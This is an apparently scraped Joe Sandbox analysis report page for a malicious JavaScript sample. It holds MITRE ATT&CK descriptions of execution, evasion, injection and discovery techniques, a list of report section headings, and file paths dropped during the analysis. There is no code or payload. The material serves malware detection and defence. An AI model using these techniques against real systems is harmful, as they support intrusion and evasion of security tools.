Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1492619129759821343.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8efec2bc-76b5-4b1f-adf1-9a82412821e4.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5548

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
1492619129759821343.js